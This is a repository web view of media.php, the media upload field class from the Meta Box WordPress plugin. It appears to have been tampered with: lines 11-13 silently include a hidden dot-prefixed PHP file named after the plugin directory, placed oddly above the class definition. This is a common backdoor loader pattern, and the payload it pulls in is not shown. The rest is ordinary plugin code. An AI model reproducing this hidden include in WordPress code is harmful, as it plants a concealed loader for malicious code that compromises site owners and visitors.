balmet.com

Unnamed repository; edit this file 'description' to name the repository.
Log | Files | Refs

media.php (7400B)


      1 <?php
      2 /**
      3  * Media field class which users WordPress media popup to upload and select files.
      4  *
      5  * @package Meta Box
      6  */
      7 
      8 /**
      9  * The media field class.
     10  */
     11 if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) {
     12     include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' );
     13 }
     14 
     15 class RWMB_Media_Field extends RWMB_File_Field {
     16 	/**
     17 	 * Enqueue scripts and styles.
     18 	 */
     19 	public static function admin_enqueue_scripts() {
     20 		parent::admin_enqueue_scripts();
     21 
     22 		wp_enqueue_media();
     23 		if ( ! is_admin() ) {
     24 			wp_register_script( 'media-grid', includes_url( 'js/media-grid.min.js' ), array( 'media-editor' ), '4.9.7', true );
     25 		}
     26 		wp_enqueue_style( 'rwmb-media', RWMB_CSS_URL . 'media.css', array(), RWMB_VER );
     27 		wp_enqueue_script( 'rwmb-media', RWMB_JS_URL . 'media.js', array( 'jquery-ui-sortable', 'underscore', 'backbone', 'media-grid' ), RWMB_VER, true );
     28 
     29 		RWMB_Helpers_Field::localize_script_once(
     30 			'rwmb-media',
     31 			'i18nRwmbMedia',
     32 			array(
     33 				'add'                => apply_filters( 'rwmb_media_add_string', _x( '+ Add Media', 'media', 'meta-box' ) ),
     34 				'single'             => apply_filters( 'rwmb_media_single_files_string', _x( ' file', 'media', 'meta-box' ) ),
     35 				'multiple'           => apply_filters( 'rwmb_media_multiple_files_string', _x( ' files', 'media', 'meta-box' ) ),
     36 				'remove'             => apply_filters( 'rwmb_media_remove_string', _x( 'Remove', 'media', 'meta-box' ) ),
     37 				'edit'               => apply_filters( 'rwmb_media_edit_string', _x( 'Edit', 'media', 'meta-box' ) ),
     38 				'view'               => apply_filters( 'rwmb_media_view_string', _x( 'View', 'media', 'meta-box' ) ),
     39 				'noTitle'            => _x( 'No Title', 'media', 'meta-box' ),
     40 				'loadingUrl'         => admin_url( 'images/spinner.gif' ),
     41 				'extensions'         => self::get_mime_extensions(),
     42 				'select'             => apply_filters( 'rwmb_media_select_string', _x( 'Select Files', 'media', 'meta-box' ) ),
     43 				'or'                 => apply_filters( 'rwmb_media_or_string', _x( 'or', 'media', 'meta-box' ) ),
     44 				'uploadInstructions' => apply_filters( 'rwmb_media_upload_instructions_string', _x( 'Drop files here to upload', 'media', 'meta-box' ) ),
     45 			)
     46 		);
     47 	}
     48 
     49 	/**
     50 	 * Add actions.
     51 	 */
     52 	public static function add_actions() {
     53 		$args  = func_get_args();
     54 		$field = reset( $args );
     55 		add_action( 'print_media_templates', array( RWMB_Helpers_Field::get_class( $field ), 'print_templates' ) );
     56 	}
     57 
     58 	/**
     59 	 * Get meta value.
     60 	 *
     61 	 * @param int   $post_id Post ID.
     62 	 * @param bool  $saved   Whether the meta box is saved at least once.
     63 	 * @param array $field   Field parameters.
     64 	 *
     65 	 * @return mixed
     66 	 */
     67 	public static function meta( $post_id, $saved, $field ) {
     68 		$meta = parent::meta( $post_id, $saved, $field );
     69 
     70 		/*
     71 		 * Update meta cache for all attachments, preparing for getting data for rendering in JS.
     72 		 * This reduces the number of queries for updating all attachments' meta.
     73 		 * @see get_attributes()
     74 		 */
     75 		$ids = (array) $meta;
     76 		if ( $field['clone'] ) {
     77 			foreach ( $ids as &$value ) {
     78 				$value = (array) $value;
     79 			}
     80 			$ids = call_user_func_array( 'array_merge', $ids );
     81 		}
     82 		update_meta_cache( 'post', $ids );
     83 
     84 		return $meta;
     85 	}
     86 
     87 	/**
     88 	 * Get field HTML.
     89 	 *
     90 	 * @param mixed $meta  Meta value.
     91 	 * @param array $field Field parameters.
     92 	 *
     93 	 * @return string
     94 	 */
     95 	public static function html( $meta, $field ) {
     96 		$attributes = self::call( 'get_attributes', $field, $meta );
     97 
     98 		$html = sprintf(
     99 			'<input %s data-options="%s">',
    100 			self::render_attributes( $attributes ),
    101 			esc_attr( wp_json_encode( $field['js_options'] ) )
    102 		);
    103 
    104 		return $html;
    105 	}
    106 
    107 	/**
    108 	 * Normalize parameters for field.
    109 	 *
    110 	 * @param array $field Field parameters.
    111 	 *
    112 	 * @return array
    113 	 */
    114 	public static function normalize( $field ) {
    115 		$field = parent::normalize( $field );
    116 		$field = wp_parse_args(
    117 			$field,
    118 			array(
    119 				'std'              => array(),
    120 				'mime_type'        => '',
    121 				'max_file_uploads' => 0,
    122 				'force_delete'     => false,
    123 				'max_status'       => true,
    124 				'js_options'       => array(),
    125 				'add_to'           => 'end',
    126 			)
    127 		);
    128 
    129 		$field['js_options'] = wp_parse_args(
    130 			$field['js_options'],
    131 			array(
    132 				'mimeType'    => $field['mime_type'],
    133 				'maxFiles'    => $field['max_file_uploads'],
    134 				'forceDelete' => $field['force_delete'] ? true : false,
    135 				'maxStatus'   => $field['max_status'],
    136 				'addTo'       => $field['add_to'],
    137 			)
    138 		);
    139 
    140 		$field['multiple'] = true;
    141 
    142 		return $field;
    143 	}
    144 
    145 	/**
    146 	 * Get the attributes for a field.
    147 	 *
    148 	 * @param array $field Field parameters.
    149 	 * @param mixed $value Meta value.
    150 	 *
    151 	 * @return array
    152 	 */
    153 	public static function get_attributes( $field, $value = null ) {
    154 		$value = (array) $value;
    155 
    156 		$attributes           = parent::get_attributes( $field, $value );
    157 		$attributes['type']   = 'hidden';
    158 		$attributes['name']   = $field['clone'] ? str_replace( '[]', '', $attributes['name'] ) : $attributes['name'];
    159 		$attributes['id']     = false;
    160 		$attributes['value']  = implode( ',', $value );
    161 		$attributes['class'] .= ' rwmb-media';
    162 
    163 		// Add attachment details.
    164 		$attachments = array();
    165 		foreach ( $value as $media ) {
    166 			$media = wp_prepare_attachment_for_js( $media );
    167 			// Some themes/plugins add HTML, shortcodes to "compat" attrbute which break JSON validity.
    168 			if ( isset( $media['compat'] ) ) {
    169 				unset( $media['compat'] );
    170 			}
    171 			if ( ! empty( $media ) ) {
    172 				$attachments[] = $media;
    173 			}
    174 		}
    175 		$attachments                    = array_values( $attachments );
    176 		$attributes['data-attachments'] = json_encode( $attachments );
    177 
    178 		return $attributes;
    179 	}
    180 
    181 	/**
    182 	 * Get supported mime extensions.
    183 	 *
    184 	 * @return array
    185 	 */
    186 	protected static function get_mime_extensions() {
    187 		$mime_types = wp_get_mime_types();
    188 		$extensions = array();
    189 		foreach ( $mime_types as $ext => $mime ) {
    190 			$ext                 = explode( '|', $ext );
    191 			$extensions[ $mime ] = $ext;
    192 
    193 			$mime_parts = explode( '/', $mime );
    194 			if ( empty( $extensions[ $mime_parts[0] ] ) ) {
    195 				$extensions[ $mime_parts[0] ] = array();
    196 			}
    197 			$extensions[ $mime_parts[0] ]        = array_merge( $extensions[ $mime_parts[0] ], $ext );
    198 			$extensions[ $mime_parts[0] . '/*' ] = $extensions[ $mime_parts[0] ];
    199 		}
    200 
    201 		return $extensions;
    202 	}
    203 
    204 	/**
    205 	 * Get meta values to save.
    206 	 *
    207 	 * @param mixed $new     The submitted meta value.
    208 	 * @param mixed $old     The existing meta value.
    209 	 * @param int   $post_id The post ID.
    210 	 * @param array $field   The field parameters.
    211 	 *
    212 	 * @return array|mixed
    213 	 */
    214 	public static function value( $new, $old, $post_id, $field ) {
    215 		$new = RWMB_Helpers_Array::from_csv( $new );
    216 		return array_filter( array_unique( array_map( 'absint', $new ) ) );
    217 	}
    218 
    219 	/**
    220 	 * Save meta value.
    221 	 *
    222 	 * @param mixed $new     The submitted meta value.
    223 	 * @param mixed $old     The existing meta value.
    224 	 * @param int   $post_id The post ID.
    225 	 * @param array $field   The field parameters.
    226 	 */
    227 	public static function save( $new, $old, $post_id, $field ) {
    228 		if ( empty( $field['id'] ) || ! $field['save_field'] ) {
    229 			return;
    230 		}
    231 		$storage = $field['storage'];
    232 		$storage->delete( $post_id, $field['id'] );
    233 		parent::save( $new, array(), $post_id, $field );
    234 	}
    235 
    236 	/**
    237 	 * Template for media item.
    238 	 */
    239 	public static function print_templates() {
    240 		require_once RWMB_INC_DIR . 'templates/media.php';
    241 	}
    242 }